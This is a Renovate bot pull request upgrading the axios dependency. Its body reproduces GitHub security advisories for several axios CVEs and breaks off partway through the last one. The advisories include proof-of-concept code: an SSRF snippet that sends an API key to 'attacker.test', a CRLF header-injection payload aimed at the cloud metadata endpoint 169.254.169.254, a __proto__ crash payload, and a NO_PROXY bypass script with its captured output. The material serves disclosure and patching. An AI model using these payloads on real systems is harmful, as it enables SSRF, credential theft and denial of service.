Skip to content

Update dependency axios to ^0.33.0 [SECURITY] - #7

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-axios-vulnerability
Open

Update dependency axios to ^0.33.0 [SECURITY]#7
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-axios-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Feb 25, 2023

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

PackageChangeAgeConfidence
axios (source)^0.20.0^0.33.0ageconfidence

Axios vulnerable to Server-Side Request Forgery

CVE-2020-28168 / GHSA-4w2v-q235-vp99

More information

Details

Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


axios Inefficient Regular Expression Complexity vulnerability

CVE-2021-3749 / GHSA-cph5-m8f7-6c5x

More information

Details

axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios Cross-Site Request Forgery Vulnerability

CVE-2023-45857 / GHSA-wf5p-g6vw-rhxx

More information

Details

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

CVE-2025-27152 / GHSA-jr5f-v2jv-69x6

More information

Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

importaxiosfrom"axios";constinternalAPIClient=axios.create({baseURL: "http://example.test/api/v1/users/",headers: {"X-API-KEY": "1234567890",},});// const userId = "123";constuserId="http://attacker.test/";awaitinternalAPIClient.get(userId);// SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.
PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
importaxiosfrom"axios";constclient=axios.create({baseURL: "http://localhost:10001/"});constresponse=awaitclient.get("http://localhost:10002/");console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact
  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Severity

  • CVSS Score: 7.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

CVE-2026-25639 / GHSA-43fc-jf86-j433

More information

Details

Denial of Service via proto Key in mergeConfig
Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2}),functioncomputeConfigValue(prop){constmerge=mergeMap[prop]||mergeDeepProperties;constconfigValue=merge(config1[prop],config2[prop],prop);(utils.isUndefined(configValue)&&merge!==mergeDirectKeys)||(config[prop]=configValue);});

When prop is '__proto__':

  1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
  2. Object.keys() includes '__proto__' in the iteration
  3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
  4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
  5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

  • Axios._request() at lib/core/Axios.js:75
  • Axios.getUri() at lib/core/Axios.js:201
  • All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224
PoC
importaxiosfrom"axios";constmaliciousConfig=JSON.parse('{"__proto__": {"x": 1}}');awaitaxios.get("https://httpbin.org/get",maliciousConfig);

Reproduction steps:

  1. Clone axios repository or npm install axios
  2. Create file poc.mjs with the code above
  3. Run: node poc.mjs
  4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
at computeConfigValue (lib/core/mergeConfig.js:100:25)
at Object.forEach (lib/utils.js:280:10)
at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

TestConfigResult
Normal config{"timeout": 5000}SUCCESS
Malicious configJSON.parse('{"__proto__": {"x": 1}}')CRASH
Nested object{"headers": {"X-Test": "value"}}SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

  • Node.js servers using axios for HTTP requests
  • Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

CVE-2026-40175 / GHSA-fvcv-3m26-pcqx

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
Summary

The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.

Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.

Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.

Proof of Concept
1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target']= \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";
2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developerawaitaxios.get('https://analytics.internal/pings');
3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1Host: analytics.internalx-amz-target: dummyPUT /latest/api/token HTTP/1.1Host: 169.254.169.254X-aws-ec2-metadata-token-ttl-seconds: 21600GET /ignore HTTP/1.1...
4. The Impact

In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.

Impact Analysis
  • Confidentiality: May expose limited sensitive information in affected network environments.
  • Integrity: May allow modification of outbound request structure or injected headers.
  • Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.
Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.jsutils.forEach(requestHeaders,functionsetRequestHeader(val,key){if(/[\r\n]/.test(val)){thrownewError('Security: Header value contains invalid characters');}// ... proceed to set header});
References
  • OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

  • CVSS Score: 4.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

CVE-2025-62718 / GHSA-3p68-rc4w-qgx5

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.


PoC

importhttpfrom"http";importaxiosfrom"axios";constproxyPort=5300;http.createServer((req,res)=>{console.log("[PROXY] Got:",req.method,req.url,"Host:",req.headers.host);res.writeHead(200,{"Content-Type": "text/plain"});res.end("proxied");}).listen(proxyPort,()=>console.log("Proxy",proxyPort));process.env.HTTP_PROXY=`http://127.0.0.1:${proxyPort}`;process.env.NO_PROXY="localhost,127.0.0.1,::1";asyncfunctiontest(url){try{awaitaxios.get(url,{timeout: 2000});}catch{}}setTimeout(async()=>{console.log("\n[*] Testing http://localhost.:8080/");awaittest("http://localhost.:8080/");// goes through proxyconsole.log("\n[*] Testing http://[::1]:8080/");awaittest("http://[::1]:8080/");// goes through proxy},500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].


Impact

  • Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.

  • Attackers controlling request URLs can:

    • Force Axios to send local traffic through an attacker-controlled proxy.
    • Bypass SSRF mitigations relying on NO_PROXY rules.
    • Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

  • Confirmed on Axios 1.12.2 (latest at time of testing).
  • affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

  • Strip trailing dots from hostnames (per RFC 3986).
  • Normalize IPv6 literals by removing brackets for matching.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

CVE-2026-42040 / GHSA-xhjh-pmcv-23jw

More information

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams
Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component:lib/helpers/AxiosURLSearchParams.js:21

CWE
  • CWE-626: Null Byte Interaction Error (Poison Null Byte)
  • CWE-116: Improper Encoding or Escaping of Output
CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

MetricValueJustification
Attack VectorNetworkAttacker controls input parameters remotely
Attack ComplexityHighStandard axios request flow (buildURL) uses its own encode function which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation
Privileges RequiredNoneNo authentication needed
User InteractionNoneNo user interaction required
ScopeUnchangedImpact limited to HTTP request URL
ConfidentialityNoneNo confidentiality impact
IntegrityLowNull byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser
AvailabilityNoneNo availability impact
Vulnerable Code

File:lib/helpers/AxiosURLSearchParams.js, lines 13-26

functionencode(str){constcharMap={'!': '%21',// literal → encoded (SAFE direction)"'": '%27',// literal → encoded (SAFE direction)'(': '%28',// literal → encoded (SAFE direction)')': '%29',// literal → encoded (SAFE direction)'~': '%7E',// literal → encoded (SAFE direction)'%20': '+',// standard transformation (SAFE)'%00': '\x00',// LINE 21: encoded → raw null byte (UNSAFE direction!)};returnencodeURIComponent(str).replace(/[!'()~]|%20|%00/g,functionreplacer(match){returncharMap[match];});}
Why the Standard Flow Is NOT Affected
// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams'sconst_encode=(options&&options.encode)||encode;// buildURL's encode// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParamsnewAxiosURLSearchParams(params,_options).toString(_encode);// external encoder used// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT usedconst_encode=encoder ? function(value){returnencoder.call(this,value,encode);} : encode;// ^^^^^^// internal encode passed as 2nd arg but only used if// the external encoder explicitly delegates to it
Proof of Concept
importAxiosURLSearchParamsfrom'./lib/helpers/AxiosURLSearchParams.js';importbuildURLfrom'./lib/helpers/buildURL.js';// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)constparams=newAxiosURLSearchParams({file: 'test\x00.txt'});constresult=params.toString();// NO encoder → uses internal encode with charMapconsole.log('Direct toString():',JSON.stringify(result));// Output: "file=test\u0000.txt" (contains raw null byte)console.log('Hex:',Buffer.from(result).toString('hex'));// Output: 66696c653d74657374002e747874 (00 = null byte)// Test 2: Via buildURL (NOT vulnerable — standard axios flow)consturl=buildURL('http://example.com/api',{file: 'test\x00.txt'});console.log('Via buildURL:',url);// Output: http://example.com/api?file=test%00.txt (%00 preserved safely)
Verified PoC Output
Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874
Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true
Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

  • Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected
  • Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug
  • Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

functionencode(str){constcharMap={'!': '%21',"'": '%27','(': '%28',')': '%29','~': '%7E','%20': '+',// REMOVED: '%00': '\x00'};returnencodeURIComponent(str).replace(/[!'()~]|%20/g,functionreplacer(match){// ^^^^ removed |%00returncharMap[match];});}
Resources
Timeline
DateEvent
2026-04-15Vulnerability discovered during source code audit
2026-04-16Report revised: documented standard-flow limitation, corrected CVSS
TBDReport submitted to vendor via GitHub Security Advisory

Severity

  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0

CVE-2026-42043 / GHSA-pmwg-cvhr-8vh7

More information

Details

1. Executive Summary
This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NO_PROXY hostname resolution logic in the Axios HTTP library.

Background — The Original Vulnerability
The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NO_PROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NO_PROXY matching entirely and be forwarded to the configured HTTP proxy — even when NO_PROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.

The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.

The Incomplete Patch — This Finding
While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.

The patch introduced a hardcoded set of recognized loopback addresses:

// lib/helpers/shouldBypassProxy.js — Line 1
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);

However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.

As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NO_PROXY protection even in the fully patched Axios 1.15.0 release.

Verification
This bypass has been independently verified on:

  • Axios version: 1.15.0 (latest patched release)
  • Node.js version: v22.16.0
  • OS: Kali Linux (rolling)

The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.

2. Deep-Dive: Technical Root Cause Analysis
2.1 Vulnerable File & Location

FieldDetail
Filelib/helpers/shouldBypassProxy.js
Primary FlawisLoopback() — Line 1–3
Supporting FunctionshouldBypassProxy() — Line 59–110
Axios Version1.15.0 (Latest Patched Release)

2.2 How Axios Routes HTTP Requests The Call Chain
When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:

// lib/adapters/http.js — Lines 191–199
function setProxy(options, configProxy, location) {
let proxy = configProxy;
if (!proxy && proxy !== false) {
const proxyUrl = getProxyForUrl(location); // Step 1: Read proxy env var
if (proxyUrl) {
if (!shouldBypassProxy(location)) { // Step 2: Check NO_PROXY
proxy = new URL(proxyUrl); // Step 3: Assign proxy
}
}
}
}

shouldBypassProxy() is the single gatekeeper for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.

2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)
Before Axios 1.15.0, hostnames were compared against NO_PROXY using a raw literal string match with no normalization:

Request URL → http://localhost./secret
NO_PROXY → "localhost,127.0.0.1,::1"
Comparison:
"localhost." === "localhost" → FALSE → Proxy used ← BYPASS
"[::1]" === "::1" → FALSE → Proxy used ← BYPASS

Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.

2.4 What the Patch Fixed (Axios 1.15.0)
The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:

01_axios_version_verification

Fix A normalizeNoProxyHost() (Lines 47–57)
Strips alternate representations before comparison:

const normalizeNoProxyHost = (hostname) => {
if (!hostname) return hostname;
// Remove IPv6 brackets: "[::1]" → "::1"
if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') {
hostname = hostname.slice(1, -1);
}
// Strip trailing FQDN dot: "localhost." → "localhost"
return hostname.replace(/\.+$/, '');
};

Fix B Cross-Loopback Equivalence (Lines 1–3 & 108)
Allows 127.0.0.1 and localhost to match each other interchangeably:

const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// Line 108 — Final match condition:
return hostname === entryHost
|| (isLoopback(hostname) && isLoopback(entryHost));
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// If both sides are "loopback" → treat as match

Fix C Normalization Applied on Both Sides (Lines 81 & 90)

// Request hostname normalized:
const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());
// Each NO_PROXY entry normalized:
entryHost = normalizeNoProxyHost(entryHost);

2.5 The Incomplete Patch Exact Root Cause
The fundamental flaw resides in Line 1:

// lib/helpers/shouldBypassProxy.js — Line 1 ← ROOT CAUSE
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
// ^^^^^^^^^^^
// Only ONE IPv4 loopback address is recognized.
// The entire 127.0.0.0/8 subnet is unaccounted for.
// Line 3 — Lookup against this incomplete set:
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// ^^^^^^^^^
// Returns FALSE for any 127.x.x.x ≠ 127.0.0.1
02_vulnerable_code_loopback_addresses

*RFC 1122 §3.2.1.3 is unambiguous:

"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."

This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.

03_rfc1122_loopback_definition

2.6 Step-by-Step Bypass Execution Trace
Environment:

NO_PROXY = "localhost,127.0.0.1,::1"
HTTP_PROXY = "http://attacker-proxy:5300"
Target URL = "http://127.0.0.2:9191/internal-api"

Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):

// Step 1 — Parse the request URL
parsed = new URL("http://127.0.0.2:9191/internal-api")
hostname = "127.0.0.2" // parsed.hostname
// Step 2 — Read NO_PROXY environment variable
noProxy = "localhost,127.0.0.1,::1" // lowercased
// Step 3 — Normalize the request hostname
hostname = normalizeNoProxyHost("127.0.0.2")
// No brackets → skip
// No trailing dot → skip
// Result: "127.0.0.2" (unchanged)
// Step 4 — Iterate over NO_PROXY entries
// Entry → "localhost"
entryHost = "localhost"
"127.0.0.2" === "localhost" → false
isLoopback("127.0.0.2") → false ← Set.has() returns false
BYPASS starts here
// Entry → "127.0.0.1"
entryHost = "127.0.0.1"
"127.0.0.2" === "127.0.0.1" → false
isLoopback("127.0.0.2") && isLoopback("127.0.0.1")
→ LOOPBACK_ADDRESSES.has("127.0.0.2") → false ← Same failure
→ false
// Entry → "::1"
entryHost = "::1"
"127.0.0.2" === "::1" → false
isLoopback("127.0.0.2") && isLoopback("::1")
→ LOOPBACK_ADDRESSES.has("127.0.0.2") → false ← Same failure
→ false
// Step 5 — Final return
shouldBypassProxy() → false
// Axios proceeds to route the request through the configured proxy.
// The attacker's proxy server receives the full request including headers
// and any response from the internal service.

2.7 Why the Patch Design Is Flawed
The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).

AspectOriginal BugThis Finding
What was wrongNo normalization before comparisonIncomplete loopback address set
Fix appliedAdded normalizeNoProxyHost()None set remains hardcoded
RFC complianceViolated RFC 1034 & RFC 3986Violates RFC 1122 §3.2.1.3
Bypass methodAlternate string representationAlternate valid loopback address
ImpactNO_PROXY bypass → SSRFNO_PROXY bypass → SSRF (identical)
**2.8 Total Exposed Address Space**
Protected by patch: 127.0.0.1 (1 address)
Unprotected loopback: 127.0.0.2
through
127.255.255.254 (16,777,213 addresses)

Real-world services that commonly bind to non-standard loopback addresses include:

  • Internal microservices and admin dashboards using dedicated loopback IPs
  • Development environments with multiple isolated service instances
  • Docker and container bridge network configurations
  • Test infrastructure allocating sequential loopback IPs across services

3. Comprehensive Attack Vector & Proof of Concept

3.1 Reproduction Steps

Step 1 — Create a fresh project directory

mkdir axios-bypass-test && cd axios-bypass-test

Step 2 — Initialize the project with the patched Axios version
Create package.json:

{
"type": "module",
"dependencies": {
"axios": "1.15.0"
}
}

Install dependencies:

npm install

Verify the installed version:

npm list axios
##### Expected output: axios@1.15.0

Step 3 — Create the PoC file (poc.js)

import http from 'http';
import axios from 'axios';
// ── Simulated attacker-controlled proxy server ────────────────────────────────
const PROXY_PORT = 5300;
http.createServer((req, res) => {
console.log('\n[!] PROXY HIT — Attacker proxy received request!');
console.log(` Method : ${req.method}`);
console.log(` URL : ${req.url}`);
console.log(` Host : ${req.headers.host}`);
res.writeHead(200);
res.end('proxied');
}).listen(PROXY_PORT);
// ── Simulated developer security configuration ────────────────────────────────
// Developer believes all loopback traffic is protected by NO_PROXY.
process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;
process.env.NO_PROXY = 'localhost,127.0.0.1,::1';
// ── Test helper ───────────────────────────────────────────────────────────────
async function test(url) {
console.log(`\n[*] Testing: ${url}`);
try {
const res = await axios.get(url, { timeout: 2000 });
if (res.data === 'proxied') {
console.log(' Result → [PROXIED] ← BYPASS CONFIRMED');
} else {
console.log(' Result → [DIRECT] ← Safe, no proxy used');
}
} catch (err) {
if (err.code === 'ECONNREFUSED') {
console.log(' Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)');
}
}
}
// ── Test execution ────────────────────────────────────────────────────────────
setTimeout(async () => {
// Section A: Cases fixed by the existing patch — expected to go DIRECT
console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
await test('http://localhost:9191/secret');
await test('http://localhost.:9191/secret');
await test('http://[::1]:9191/secret');
// Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
await test('http://127.0.0.2:9191/secret');
await test('http://127.0.0.100:9191/secret');
await test('http://127.1.2.3:9191/secret');
process.exit(0);
}, 500);

Step 4 — Execute the PoC

node poc.js

3.2 Observed Output
The following output was captured during testing on Kali Linux with Axios 1.15.0:

=== PATCHED CASES (Expected: All requests bypass the proxy) ===
[*] Testing: http://localhost:9191/secret
Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) [*] Testing: http://localhost.:9191/secret
Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) [*] Testing: http://[::1]:9191/secret
Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) === BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===
[*] Testing: http://127.0.0.2:9191/secret
[!] PROXY HIT — Attacker proxy received request!
Method : GET
URL : http://127.0.0.2:9191/secret
Host : 127.0.0.2:9191
Result → [PROXIED] ← BYPASS CONFIRMED [*] Testing: http://127.0.0.100:9191/secret
[!] PROXY HIT — Attacker proxy received request!
Method : GET
URL : http://127.0.0.100:9191/secret
Host : 127.0.0.100:9191
Result → [PROXIED] ← BYPASS CONFIRMED [*] Testing: http://127.1.2.3:9191/secret
[!] PROXY HIT — Attacker proxy received request!
Method : GET
URL : http://127.1.2.3:9191/secret
Host : 127.1.2.3:9191
Result → [PROXIED] ← BYPASS CONFIRMED 
05_poc_execution_bypass_confirmed

3.3 Analysis of Results
The output conclusively demonstrates the following:

Patched cases behave correctly: Requests to localhost, localhost. (trailing dot), and [::1] (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.

Bypass cases confirm the incomplete patch: Requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 all of which are valid loopback addresses within the 127.0.0.0/8 subnet as defined by RFC 1122 §3.2.1.3 are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and Host header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.

This confirms that the NO_PROXY protection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire 127.0.0.0/8 address range beyond 127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.

4. Impact Assessment
This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the NO_PROXY protection mechanism in Axios by using any loopback addresses within the 127.0.0.0/8 subnet other than 127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.

4.1 Who Is Impacted?

Primary Target — Node.js Backend Applications
Any Node.js application that meets all three of the following conditions is vulnerable:

Condition 1: Uses Axios 1.15.0 (latest patched) for HTTP requests
Condition 2: Has HTTP_PROXY or HTTPS_PROXY set in its environment
(common in corporate networks, cloud deployments,
containerised environments, and CI/CD pipelines)
Condition 3: Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)
to protect loopback or internal services from proxy routing

Affected Deployment Environments

EnvironmentRisk Level
Cloud-hosted applications (AWS, GCP, Azure)Critical
Containerised microservices (Docker, Kubernetes)Critical
Corporate networks with mandatory proxyHigh
CI/CD pipelines with proxy environment variablesHigh
On-premise servers with internal proxyHigh

Scale of Exposure
